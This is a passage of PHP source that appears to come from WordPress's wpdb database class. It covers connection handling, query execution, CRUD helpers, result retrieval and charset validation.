WP_CONTENT_DIR . '/db-error.php' ) ) { require_once( WP_CONTENT_DIR . '/db-error.php' ); die(); } $this->bail( sprintf( __( " <h1>Error establishing a database connection</h1> <p>This either means that the username and password information in your <code>wp-config.php</code> file is incorrect or we can't contact the database server at <code>%s</code>. This could mean your host's database server is down.</p> <ul> <li>Are you sure you have the correct username and password?</li> <li>Are you sure that you have typed the correct hostname?</li> <li>Are you sure that the database server is running?</li> </ul> <p>If you're unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href='https://wordpress.org/support/'>WordPress Support Forums</a>.</p> " ), htmlspecialchars( $this->dbhost, ENT_QUOTES ) ), 'db_connect_fail' ); return false; } elseif ( $this->dbh ) { if ( ! $this->has_connected ) { $this->init_charset(); } $this->has_connected = true; $this->set_charset( $this->dbh ); $this->ready = true; $this->set_sql_mode(); $this->select( $this->dbname, $this->dbh ); return true; } return false; } /** * Check that the connection to the database is still up. If not, try to reconnect. * * If this function is unable to reconnect, it will forcibly die, or if after the * the template_redirect hook has been fired, return false instead. * * If $allow_bail is false, the lack of database connection will need * to be handled manually. * * @since 3.9.0 * * @param bool $allow_bail Optional. Allows the function to bail. Default true. * @return bool|void True if the connection is up. */ public function check_connection( $allow_bail = true ) { if ( $this->use_mysqli ) { if ( @mysqli_ping( $this->dbh ) ) { return true; } } else { if ( @mysql_ping( $this->dbh ) ) { return true; } } $error_reporting = false; // Disable warnings, as we don't want to see a multitude of "unable to connect" messages if ( WP_DEBUG ) { $error_reporting = error_reporting(); error_reporting( $error_reporting & ~E_WARNING ); } for ( $tries = 1; $tries <= $this->reconnect_retries; $tries++ ) { // On the last try, re-enable warnings. We want to see a single instance of the // "unable to connect" message on the bail() screen, if it appears. if ( $this->reconnect_retries === $tries && WP_DEBUG ) { error_reporting( $error_reporting ); } if ( $this->db_connect( false ) ) { if ( $error_reporting ) { error_reporting( $error_reporting ); } return true; } sleep( 1 ); } // If template_redirect has already happened, it's too late for wp_die()/dead_db(). // Let's just return and hope for the best. if ( did_action( 'template_redirect' ) ) { return false; } if ( ! $allow_bail ) { return false; } // We weren't able to reconnect, so we better bail. $this->bail( sprintf( ( " <h1>Error reconnecting to the database</h1> <p>This means that we lost contact with the database server at <code>%s</code>. This could mean your host's database server is down.</p> <ul> <li>Are you sure that the database server is running?</li> <li>Are you sure that the database server is not under particularly heavy load?</li> </ul> <p>If you're unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href='https://wordpress.org/support/'>WordPress Support Forums</a>.</p> " ), htmlspecialchars( $this->dbhost, ENT_QUOTES ) ), 'db_connect_fail' ); // Call dead_db() if bail didn't die, because this database is no more. It has ceased to be (at least temporarily). dead_db(); } /** * Perform a MySQL database query, using current database connection. * * More information can be found on the codex page. * * @since 0.71 * * @param string $query Database query * @return int|false Number of rows affected/selected or false on error */ public function query( $query ) { if ( ! $this->ready ) { $this->check_current_query = true; return false; } /** * Filter the database query. * * Some queries are made before the plugins have been loaded, * and thus cannot be filtered with this method. * * @since 2.1.0 * * @param string $query Database query. */ $query = apply_filters( 'query', $query ); $this->flush(); // Log how the function was called $this->func_call = "\$db->query(\"$query\")"; // If we're writing to the database, make sure the query will write safely. if ( $this->check_current_query && ! $this->check_ascii( $query ) ) { $stripped_query = $this->strip_invalid_text_from_query( $query ); // strip_invalid_text_from_query() can perform queries, so we need // to flush again, just to make sure everything is clear. $this->flush(); if ( $stripped_query !== $query ) { $this->insert_id = 0; return false; } } $this->check_current_query = true; // Keep track of the last query for debug.. $this->last_query = $query; $this->_do_query( $query ); // MySQL server has gone away, try to reconnect $mysql_errno = 0; if ( ! empty( $this->dbh ) ) { if ( $this->use_mysqli ) { $mysql_errno = mysqli_errno( $this->dbh ); } else { $mysql_errno = mysql_errno( $this->dbh ); } } if ( empty( $this->dbh ) || 2006 == $mysql_errno ) { if ( $this->check_connection() ) { $this->_do_query( $query ); } else { $this->insert_id = 0; return false; } } // If there is an error then take note of it.. if ( $this->use_mysqli ) { $this->last_error = mysqli_error( $this->dbh ); } else { $this->last_error = mysql_error( $this->dbh ); } if ( $this->last_error ) { // Clear insert_id on a subsequent failed insert. if ( $this->insert_id && preg_match( '/^\s*(insert|replace)\s/i', $query ) ) $this->insert_id = 0; $this->print_error(); return false; } if ( preg_match( '/^\s*(create|alter|truncate|drop)\s/i', $query ) ) { $return_val = $this->result; } elseif ( preg_match( '/^\s*(insert|delete|update|replace)\s/i', $query ) ) { if ( $this->use_mysqli ) { $this->rows_affected = mysqli_affected_rows( $this->dbh ); } else { $this->rows_affected = mysql_affected_rows( $this->dbh ); } // Take note of the insert_id if ( preg_match( '/^\s*(insert|replace)\s/i', $query ) ) { if ( $this->use_mysqli ) { $this->insert_id = mysqli_insert_id( $this->dbh ); } else { $this->insert_id = mysql_insert_id( $this->dbh ); } } // Return number of rows affected $return_val = $this->rows_affected; } else { $num_rows = 0; if ( $this->use_mysqli && $this->result instanceof mysqli_result ) { while ( $row = @mysqli_fetch_object( $this->result ) ) { $this->last_result[$num_rows] = $row; $num_rows++; } } elseif ( is_resource( $this->result ) ) { while ( $row = @mysql_fetch_object( $this->result ) ) { $this->last_result[$num_rows] = $row; $num_rows++; } } // Log number of rows the query returned // and return number of rows selected $this->num_rows = $num_rows; $return_val = $num_rows; } return $return_val; } /** * Internal function to perform the mysql_query() call. * * @since 3.9.0 * * @access private * @see wpdb::query() * * @param string $query The query to run. */ private function _do_query( $query ) { if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) { $this->timer_start(); } if ( $this->use_mysqli ) { $this->result = @mysqli_query( $this->dbh, $query ); } else { $this->result = @mysql_query( $query, $this->dbh ); } $this->num_queries++; if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) { $this->queries[] = array( $query, $this->timer_stop(), $this->get_caller() ); } } /** * Generates and returns a placeholder escape string for use in queries returned by ::prepare(). * * @since 4.8.3 * * @return string String to escape placeholders. */ public function placeholder_escape() { static $placeholder; if ( ! $placeholder ) { // If ext/hash is not present, compat.php's hash_hmac() does not support sha256. $algo = function_exists( 'hash' ) ? 'sha256' : 'sha1'; // Old WP installs may not have AUTH_SALT defined. $salt = defined( 'AUTH_SALT' ) && AUTH_SALT ? AUTH_SALT : (string) rand(); $placeholder = '{' . hash_hmac( $algo, uniqid( $salt, true ), $salt ) . '}'; } /* * Add the filter to remove the placeholder escaper. Uses priority 0, so that anything * else attached to this filter will recieve the query with the placeholder string removed. */ if ( ! has_filter( 'query', array( $this, 'remove_placeholder_escape' ) ) ) { add_filter( 'query', array( $this, 'remove_placeholder_escape' ), 0 ); } return $placeholder; } /** * Adds a placeholder escape string, to escape anything that resembles a printf() placeholder. * * @since 4.8.3 * * @param string $query The query to escape. * @return string The query with the placeholder escape string inserted where necessary. */ public function add_placeholder_escape( $query ) { /* * To prevent returning anything that even vaguely resembles a placeholder, * we clobber every % we can find. */ return str_replace( '%', $this->placeholder_escape(), $query ); } /** * Removes the placeholder escape strings from a query. * * @since 4.8.3 * * @param string $query The query from which the placeholder will be removed. * @return string The query with the placeholder removed. */ public function remove_placeholder_escape( $query ) { return str_replace( $this->placeholder_escape(), '%', $query ); } /** * Insert a row into a table. * * wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 'bar' ) ) * wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) ) * * @since 2.5.0 * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name * @param array $data Data to insert (in column => value pairs). * Both $data columns and $data values should be "raw" (neither should be SQL escaped). * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data. * If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types. * @return int|false The number of rows inserted, or false on error. */ public function insert( $table, $data, $format = null ) { return $this->_insert_replace_helper( $table, $data, $format, 'INSERT' ); } /** * Replace a row into a table. * * wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 'bar' ) ) * wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) ) * * @since 3.0.0 * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name * @param array $data Data to insert (in column => value pairs). * Both $data columns and $data values should be "raw" (neither should be SQL escaped). * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data. * If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types. * @return int|false The number of rows affected, or false on error. */ public function replace( $table, $data, $format = null ) { return $this->_insert_replace_helper( $table, $data, $format, 'REPLACE' ); } /** * Helper function for insert and replace. * * Runs an insert or replace query based on $type argument. * * @access private * @since 3.0.0 * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name * @param array $data Data to insert (in column => value pairs). * Both $data columns and $data values should be "raw" (neither should be SQL escaped). * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data. * If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types. * @param string $type Optional. What type of operation is this? INSERT or REPLACE. Defaults to INSERT. * @return int|false The number of rows affected, or false on error. */ function _insert_replace_helper( $table, $data, $format = null, $type = 'INSERT' ) { $this->insert_id = 0; if ( ! in_array( strtoupper( $type ), array( 'REPLACE', 'INSERT' ) ) ) { return false; } $data = $this->process_fields( $table, $data, $format ); if ( false === $data ) { return false; } $formats = $values = array(); foreach ( $data as $value ) { $formats[] = $value['format']; $values[] = $value['value']; } $fields = '`' . implode( '`, `', array_keys( $data ) ) . '`'; $formats = implode( ', ', $formats ); $sql = "$type INTO `$table` ($fields) VALUES ($formats)"; $this->check_current_query = false; return $this->query( $this->prepare( $sql, $values ) ); } /** * Update a row in the table * * wpdb::update( 'table', array( 'column' => 'foo', 'field' => 'bar' ), array( 'ID' => 1 ) ) * wpdb::update( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( 'ID' => 1 ), array( '%s', '%d' ), array( '%d' ) ) * * @since 2.5.0 * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name * @param array $data Data to update (in column => value pairs). * Both $data columns and $data values should be "raw" (neither should be SQL escaped). * @param array $where A named array of WHERE clauses (in column => value pairs). * Multiple clauses will be joined with ANDs. * Both $where columns and $where values should be "raw". * @param array|string $format Optional. An array of formats to be mapped to each of the values in $data. * If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types. * @param array|string $where_format Optional. An array of formats to be mapped to each of the values in $where. * If string, that format will be used for all of the items in $where. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $where will be treated as strings. * @return int|false The number of rows updated, or false on error. */ public function update( $table, $data, $where, $format = null, $where_format = null ) { if ( ! is_array( $data ) || ! is_array( $where ) ) { return false; } $data = $this->process_fields( $table, $data, $format ); if ( false === $data ) { return false; } $where = $this->process_fields( $table, $where, $where_format ); if ( false === $where ) { return false; } $fields = $conditions = $values = array(); foreach ( $data as $field => $value ) { $fields[] = "`$field` = " . $value['format']; $values[] = $value['value']; } foreach ( $where as $field => $value ) { $conditions[] = "`$field` = " . $value['format']; $values[] = $value['value']; } $fields = implode( ', ', $fields ); $conditions = implode( ' AND ', $conditions ); $sql = "UPDATE `$table` SET $fields WHERE $conditions"; $this->check_current_query = false; return $this->query( $this->prepare( $sql, $values ) ); } /** * Delete a row in the table * * wpdb::delete( 'table', array( 'ID' => 1 ) ) * wpdb::delete( 'table', array( 'ID' => 1 ), array( '%d' ) ) * * @since 3.4.0 * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name * @param array $where A named array of WHERE clauses (in column => value pairs). * Multiple clauses will be joined with ANDs. * Both $where columns and $where values should be "raw". * @param array|string $where_format Optional. An array of formats to be mapped to each of the values in $where. * If string, that format will be used for all of the items in $where. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $where will be treated as strings unless otherwise specified in wpdb::$field_types. * @return int|false The number of rows updated, or false on error. */ public function delete( $table, $where, $where_format = null ) { if ( ! is_array( $where ) ) { return false; } $where = $this->process_fields( $table, $where, $where_format ); if ( false === $where ) { return false; } $conditions = $values = array(); foreach ( $where as $field => $value ) { $conditions[] = "`$field` = " . $value['format']; $values[] = $value['value']; } $conditions = implode( ' AND ', $conditions ); $sql = "DELETE FROM `$table` WHERE $conditions"; $this->check_current_query = false; return $this->query( $this->prepare( $sql, $values ) ); } /** * Processes arrays of field/value pairs and field formats. * * This is a helper method for wpdb's CRUD methods, which take field/value * pairs for inserts, updates, and where clauses. This method first pairs * each value with a format. Then it determines the charset of that field, * using that to determine if any invalid text would be stripped. If text is * stripped, then field processing is rejected and the query fails. * * @since 4.2.0 * @access protected * * @param string $table Table name. * @param array $data Field/value pair. * @param mixed $format Format for each field. * @return array|false Returns an array of fields that contain paired values * and formats. Returns false for invalid values. */ protected function process_fields( $table, $data, $format ) { $data = $this->process_field_formats( $data, $format ); if ( false === $data ) { return false; } $data = $this->process_field_charsets( $data, $table ); if ( false === $data ) { return false; } $data = $this->process_field_lengths( $data, $table ); if ( false === $data ) { return false; } $converted_data = $this->strip_invalid_text( $data ); if ( $data !== $converted_data ) { return false; } return $data; } /** * Prepares arrays of value/format pairs as passed to wpdb CRUD methods. * * @since 4.2.0 * @access protected * * @param array $data Array of fields to values. * @param mixed $format Formats to be mapped to the values in $data. * @return array Array, keyed by field names with values being an array * of 'value' and 'format' keys. */ protected function process_field_formats( $data, $format ) { $formats = $original_formats = (array) $format; foreach ( $data as $field => $value ) { $value = array( 'value' => $value, 'format' => '%s', ); if ( ! empty( $format ) ) { $value['format'] = array_shift( $formats ); if ( ! $value['format'] ) { $value['format'] = reset( $original_formats ); } } elseif ( isset( $this->field_types[ $field ] ) ) { $value['format'] = $this->field_types[ $field ]; } $data[ $field ] = $value; } return $data; } /** * Adds field charsets to field/value/format arrays generated by * the wpdb::process_field_formats() method. * * @since 4.2.0 * @access protected * * @param array $data As it comes from the wpdb::process_field_formats() method. * @param string $table Table name. * @return array|false The same array as $data with additional 'charset' keys. */ protected function process_field_charsets( $data, $table ) { foreach ( $data as $field => $value ) { if ( '%d' === $value['format'] || '%f' === $value['format'] ) { // We can skip this field if we know it isn't a string. // This checks %d/%f versus ! %s because it's sprintf() could take more. $value['charset'] = false; } else { $value['charset'] = $this->get_col_charset( $table, $field ); if ( is_wp_error( $value['charset'] ) ) { return false; } } $data[ $field ] = $value; } return $data; } /** * For string fields, record the maximum string length that field can safely save. * * @since 4.2.1 * @access protected * * @param array $data As it comes from the wpdb::process_field_charsets() method. * @param string $table Table name. * @return array|false The same array as $data with additional 'length' keys, or false if * any of the values were too long for their corresponding field. */ protected function process_field_lengths( $data, $table ) { foreach ( $data as $field => $value ) { if ( '%d' === $value['format'] || '%f' === $value['format'] ) { // We can skip this field if we know it isn't a string. // This checks %d/%f versus ! %s because it's sprintf() could take more. $value['length'] = false; } else { $value['length'] = $this->get_col_length( $table, $field ); if ( is_wp_error( $value['length'] ) ) { return false; } } $data[ $field ] = $value; } return $data; } /** * Retrieve one variable from the database. * * Executes a SQL query and returns the value from the SQL result. * If the SQL result contains more than one column and/or more than one row, this function returns the value in the column and row specified. * If $query is null, this function returns the value in the specified column and row from the previous SQL result. * * @since 0.71 * * @param string|null $query Optional. SQL query. Defaults to null, use the result from the previous query. * @param int $x Optional. Column of value to return. Indexed from 0. * @param int $y Optional. Row of value to return. Indexed from 0. * @return string|null Database query result (as string), or null on failure */ public function get_var( $query = null, $x = 0, $y = 0 ) { $this->func_call = "\$db->get_var(\"$query\", $x, $y)"; if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } if ( $query ) { $this->query( $query ); } // Extract var out of cached results based x,y vals if ( !empty( $this->last_result[$y] ) ) { $values = array_values( get_object_vars( $this->last_result[$y] ) ); } // If there is a value return it else return null return ( isset( $values[$x] ) && $values[$x] !== '' ) ? $values[$x] : null; } /** * Retrieve one row from the database. * * Executes a SQL query and returns the row from the SQL result. * * @since 0.71 * * @param string|null $query SQL query. * @param string $output Optional. one of ARRAY_A | ARRAY_N | OBJECT constants. * Return an associative array (column => value, ...), * a numerically indexed array (0 => value, ...) or * an object ( ->column = value ), respectively. * @param int $y Optional. Row to return. Indexed from 0. * @return array|object|null|void Database query result in format specified by $output or null on failure */ public function get_row( $query = null, $output = OBJECT, $y = 0 ) { $this->func_call = "\$db->get_row(\"$query\",$output,$y)"; if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } if ( $query ) { $this->query( $query ); } else { return null; } if ( !isset( $this->last_result[$y] ) ) return null; if ( $output == OBJECT ) { return $this->last_result[$y] ? $this->last_result[$y] : null; } elseif ( $output == ARRAY_A ) { return $this->last_result[$y] ? get_object_vars( $this->last_result[$y] ) : null; } elseif ( $output == ARRAY_N ) { return $this->last_result[$y] ? array_values( get_object_vars( $this->last_result[$y] ) ) : null; } elseif ( strtoupper( $output ) === OBJECT ) { // Back compat for OBJECT being previously case insensitive. return $this->last_result[$y] ? $this->last_result[$y] : null; } else { $this->print_error( " \$db->get_row(string query, output type, int offset) -- Output type must be one of: OBJECT, ARRAY_A, ARRAY_N" ); } } /** * Retrieve one column from the database. * * Executes a SQL query and returns the column from the SQL result. * If the SQL result contains more than one column, this function returns the column specified. * If $query is null, this function returns the specified column from the previous SQL result. * * @since 0.71 * * @param string|null $query Optional. SQL query. Defaults to previous query. * @param int $x Optional. Column to return. Indexed from 0. * @return array Database query result. Array indexed from 0 by SQL result row number. */ public function get_col( $query = null , $x = 0 ) { if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } if ( $query ) { $this->query( $query ); } $new_array = array(); // Extract the column values for ( $i = 0, $j = count( $this->last_result ); $i < $j; $i++ ) { $new_array[$i] = $this->get_var( null, $x, $i ); } return $new_array; } /** * Retrieve an entire SQL result set from the database (i.e., many rows) * * Executes a SQL query and returns the entire SQL result. * * @since 0.71 * * @param string $query SQL query. * @param string $output Optional. Any of ARRAY_A | ARRAY_N | OBJECT | OBJECT_K constants. * With one of the first three, return an array of rows indexed from 0 by SQL result row number. * Each row is an associative array (column => value, ...), a numerically indexed array (0 => value, ...), or an object. ( ->column = value ), respectively. * With OBJECT_K, return an associative array of row objects keyed by the value of each row's first column's value. * Duplicate keys are discarded. * @return array|object|null Database query results */ public function get_results( $query = null, $output = OBJECT ) { $this->func_call = "\$db->get_results(\"$query\", $output)"; if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } if ( $query ) { $this->query( $query ); } else { return null; } $new_array = array(); if ( $output == OBJECT ) { // Return an integer-keyed array of row objects return $this->last_result; } elseif ( $output == OBJECT_K ) { // Return an array of row objects with keys from column 1 // (Duplicates are discarded) foreach ( $this->last_result as $row ) { $var_by_ref = get_object_vars( $row ); $key = array_shift( $var_by_ref ); if ( ! isset( $new_array[ $key ] ) ) $new_array[ $key ] = $row; } return $new_array; } elseif ( $output == ARRAY_A || $output == ARRAY_N ) { // Return an integer-keyed array of... if ( $this->last_result ) { foreach( (array) $this->last_result as $row ) { if ( $output == ARRAY_N ) { // ...integer-keyed row arrays $new_array[] = array_values( get_object_vars( $row ) ); } else { // ...column name-keyed row arrays $new_array[] = get_object_vars( $row ); } } } return $new_array; } elseif ( strtoupper( $output ) === OBJECT ) { // Back compat for OBJECT being previously case insensitive. return $this->last_result; } return null; } /** * Retrieves the character set for the given table. * * @since 4.2.0 * @access protected * * @param string $table Table name. * @return string|WP_Error Table character set, WP_Error object if it couldn't be found. */ protected function get_table_charset( $table ) { $tablekey = strtolower( $table ); /** * Filter the table charset value before the DB is checked. * * Passing a non-null value to the filter will effectively short-circuit * checking the DB for the charset, returning that value instead. * * @since 4.2.0 * * @param string $charset The character set to use. Default null. * @param string $table The name of the table being checked. */ $charset = apply_filters( 'pre_get_table_charset', null, $table ); if ( null !== $charset ) { return $charset; } if ( isset( $this->table_charset[ $tablekey ] ) ) { return $this->table_charset[ $tablekey ]; } $charsets = $columns = array(); $table_parts = explode( '.', $table ); $table = '`' . implode( '`.`', $table_parts ) . '`'; $results = $this->get_results( "SHOW FULL COLUMNS FROM $table" ); if ( ! $results ) { return new WP_Error( 'wpdb_get_table_charset_failure' ); } foreach ( $results as $column ) { $columns[ strtolower( $column->Field ) ] = $column; } $this->col_meta[ $tablekey ] = $columns; foreach ( $columns as $column ) { if ( ! empty( $column->Collation ) ) { list( $charset ) = explode( '_', $column->Collation ); // If the current connection can't support utf8mb4 characters, let's only send 3-byte utf8 characters. if ( 'utf8mb4' === $charset && ! $this->has_cap( 'utf8mb4' ) ) { $charset = 'utf8'; } $charsets[ strtolower( $charset ) ] = true; } list( $type ) = explode( '(', $column->Type ); // A binary/blob means the whole query gets treated like this. if ( in_array( strtoupper( $type ), array( 'BINARY', 'VARBINARY', 'TINYBLOB', 'MEDIUMBLOB', 'BLOB', 'LONGBLOB' ) ) ) { $this->table_charset[ $tablekey ] = 'binary'; return 'binary'; } } // utf8mb3 is an alias for utf8. if ( isset( $charsets['utf8mb3'] ) ) { $charsets['utf8'] = true; unset( $charsets['utf8mb3'] ); } // Check if we have more than one charset in play. $count = count( $charsets ); if ( 1 === $count ) { $charset = key( $charsets ); } elseif ( 0 === $count ) { // No charsets, assume this table can store whatever. $charset = false; } else { // More than one charset. Remove latin1 if present and recalculate. unset( $charsets['latin1'] ); $count = count( $charsets ); if ( 1 === $count ) { // Only one charset (besides latin1). $charset = key( $charsets ); } elseif ( 2 === $count && isset( $charsets['utf8'], $charsets['utf8mb4'] ) ) { // Two charsets, but they're utf8 and utf8mb4, use utf8. $charset = 'utf8'; } else { // Two mixed character sets. ascii. $charset = 'ascii'; } } $this->table_charset[ $tablekey ] = $charset; return $charset; } /** * Retrieves the character set for the given column. * * @since 4.2.0 * @access public * * @param string $table Table name. * @param string $column Column name. * @return string|false|WP_Error Column character set as a string. False if the column has no * character set. WP_Error object if there was an error. */ public function get_col_charset( $table, $column ) { $tablekey = strtolower( $table ); $columnkey = strtolower( $column ); /** * Filter the column charset value before the DB is checked. * * Passing a non-null value to the filter will short-circuit * checking the DB for the charset, returning that value instead. * * @since 4.2.0 * * @param string $charset The character set to use. Default null. * @param string $table The name of the table being checked. * @param string $column The name of the column being checked. */ $charset = apply_filters( 'pre_get_col_charset', null, $table, $column ); if ( null !== $charset ) { return $charset; } // Skip this entirely if this isn't a MySQL database. if ( false === $this->is_mysql ) { return false; } if ( empty( $this->table_charset[ $tablekey ] ) ) { // This primes column information for us. $table_charset = $this->get_table_charset( $table ); if ( is_wp_error( $table_charset ) ) { return $table_charset; } } // If still no column information, return the table charset. if ( empty( $this->col_meta[ $tablekey ] ) ) { return $this->table_charset[ $tablekey ]; } // If this column doesn't exist, return the table charset. if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) { return $this->table_charset[ $tablekey ]; } // Return false when it's not a string column. if ( empty( $this->col_meta[ $tablekey ][ $columnkey ]->Collation ) ) { return false; } list( $charset ) = explode( '_', $this->col_meta[ $tablekey ][ $columnkey ]->Collation ); return $charset; } /** * Retrieve the maximum string length allowed in a given column. * The length may either be specified as a byte length or a character length. * * @since 4.2.1 * @access public * * @param string $table Table name. * @param string $column Column name. * @return array|false|WP_Error array( 'length' => (int), 'type' => 'byte' | 'char' ) * false if the column has no length (for example, numeric column) * WP_Error object if there was an error. */ public function get_col_length( $table, $column ) { $tablekey = strtolower( $table ); $columnkey = strtolower( $column ); // Skip this entirely if this isn't a MySQL database. if ( false === $this->is_mysql ) { return false; } if ( empty( $this->col_meta[ $tablekey ] ) ) { // This primes column information for us. $table_charset = $this->get_table_charset( $table ); if ( is_wp_error( $table_charset ) ) { return $table_charset; } } if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) { return false; } $typeinfo = explode( '(', $this->col_meta[ $tablekey ][ $columnkey ]->Type ); $type = strtolower( $typeinfo[0] ); if ( ! empty( $typeinfo[1] ) ) { $length = trim( $typeinfo[1], ')' ); } else { $length = false; } switch( $type ) { case 'char': case 'varchar': return array( 'type' => 'char', 'length' => (int) $length, ); break; case 'binary': case 'varbinary': return array( 'type' => 'byte', 'length' => (int) $length, ); break; case 'tinyblob': case 'tinytext': return array( 'type' => 'byte', 'length' => 255, // 2^8 - 1 ); break; case 'blob': case 'text': return array( 'type' => 'byte', 'length' => 65535, // 2^16 - 1 ); break; case 'mediumblob': case 'mediumtext': return array( 'type' => 'byte', 'length' => 16777215, // 2^24 - 1 ); break; case 'longblob': case 'longtext': return array( 'type' => 'byte', 'length' => 4294967295, // 2^32 - 1 ); break; default: return false; } return false; } /** * Check if a string is ASCII. * * The negative regex is faster for non-ASCII strings, as it allows * the search to finish as soon as it encounters a non-ASCII character. * * @since 4.2.0 * @access protected * * @param string $string String to check. * @return bool True if ASCII, false if not. */ protected function check_ascii( $string ) { if ( function_exists( 'mb_check_encoding' ) ) { if ( mb_check_encoding( $string, 'ASCII' ) ) { return true; } } elseif ( ! preg_match( '/[^\x00-\x7F]/', $string ) ) { return true; } return false; } /** * Check if the query is accessing a collation considered safe on the current version of MySQL. * * @since 4.2.0 * @access protected * * @param string $query The query to check. * @return bool True if the collation is safe, false if it isn't. */ protected function check_safe_collation( $query ) { if ( $this->checking_collation ) { return true; } // We don't need to check the collation for queries that don't read data. $query = ltrim( $query, "\r\n\t (" ); if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $query ) ) { return true; } // All-ASCII queries don't need extra checking. if ( $this->check_ascii( $query ) ) { return true; } $table = $this->get_table_from_query( $query ); if ( ! $table ) { return false; } $this->checking_collation = true; $collation = $this->get_table_charset( $table ); $this->checking_collation = false; // Tables with no collation, or latin1 only, don't need extra checking. if ( false === $collation || 'latin1' === $collation ) { return true; } $table = strtolower( $table ); if ( empty( $this->col_meta[ $table ] ) ) { return false; } // If any of the columns don't have one of these collations, it needs more sanity checking. foreach( $this->col_meta[ $table ] as $col ) { if ( empty( $col->Collation ) ) { continue; } if ( ! in_array( $col->Collation, array( 'utf8_general_ci', 'utf8_bin', 'utf8mb4_general_ci', 'utf8mb4_bin' ), true ) ) { return false; } } return true; } /** * Strips any invalid characters based on value/charset pairs. * * @since 4.2.0 * @access protected * * @param array $data Array of value arrays. Each value array has the keys * 'value' and 'charset'. An optional 'ascii' key can be * set to false to avoid redundant ASCII checks. * @return array|WP_Error The $data parameter, with invalid characters removed from * each value. This works as a passthrough: any additional keys * such as 'field' are retained in each value array. If we cannot * remove invalid characters, a WP_Error object is returned. */ protected function strip_invalid_text( $data ) { $db_check_string = false; foreach ( $data as &$value ) { $charset = $value['charset']; if ( is_array( $value['length'] ) ) { $length = $value['length']['length']; $truncate_by_byte_length = 'byte' === $value['length']['type']; } else { $length = false; // Since we have no length, we'll never truncate. // Initialize the variable to false. true would take us // through an unnecessary (for this case) codepath below. $truncate_by_byte_length = false; } // There's no charset to work with. if ( false === $charset ) { continue; } // Column isn't a string. if ( ! is_string( $value['value'] ) ) { continue; } $needs_validation = true; if ( // latin1 can store any byte sequence 'latin1' === $charset || // ASCII is always OK. ( ! isset( $value['ascii'] ) && $this->check_ascii( $value['value'] ) ) ) { $truncate_by_byte_length = true; $needs_validation = false; } if ( $truncate_by_byte_length ) { mbstring_binary_safe_encoding(); if ( false !== $length && strlen( $value['value'] ) > $length ) { $value['value'] = substr( $value['value'], 0, $length ); } reset_mbstring_encoding(); if ( ! $needs_validation ) { continue; } } // utf8 can be handled by regex, which is a bunch faster than a DB lookup. if ( ( 'utf8' === $charset || 'utf8mb3' === $charset || 'utf8mb4' === $charset ) && function_exists( 'mb_strlen' ) ) { $regex = '/ ( (?: [\x00-\x7F] # single-byte sequences 0xxxxxxx | [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx | \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2 | [\xE1-\xEC][\x80-\xBF]{2} | \xED[\x80-\x9F][\x80-\xBF] | [\xEE-\xEF][\x80-\xBF]{2}'; if ( 'utf8mb4' === $charset ) { $regex .= ' | \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3 | [\xF1-\xF3][\x80-\xBF]{3} | \xF4[\x80-\x8F][\x80-\xBF]{2} '; } $regex .= '){1,40} # ...one or more times ) | . # anything else /x'; $value['value'] = preg_replace( $regex, '$1', $value['value'] ); if ( false !== $length && mb_strlen( $value['value'], 'UTF-8' ) > $length ) { $value['value'] = mb_substr( $value['value'], 0, $length, 'UTF-8' ); } continue; } // We couldn't use any local conversions, send it to the DB. $value['db'] = $db_check_string = true; } unset( $value ); // Remove by reference. if ( $db_check_string ) { $queries = array(); foreach ( $data as $col => $value ) { if ( ! empty( $value['db'] ) ) { // We're going to need to truncate by characters or bytes, depending on the length value we have. if ( 'byte' === $value['length']['type'] ) { // Using binary causes LEFT() to truncate by bytes. $charset = 'binary'; } else { $charset = $value['charset']; } if ( is_array( $value['length'] ) ) { $length = sprintf( '%.0f', $value['length']['length'] ); $queries[ $col ] = $this->prepare( "CONVERT( LEFT( CONVERT( %s USING $charset ), $length ) USING {$this->charset} )", $value['value'] ); } else if ( 'binary' !== $charset ) { // If we don't have a length, there's no need to convert binary - it will always return the same result. $queries[ $col ] = $this->prepare( "CONVERT( CONVERT( %s USING 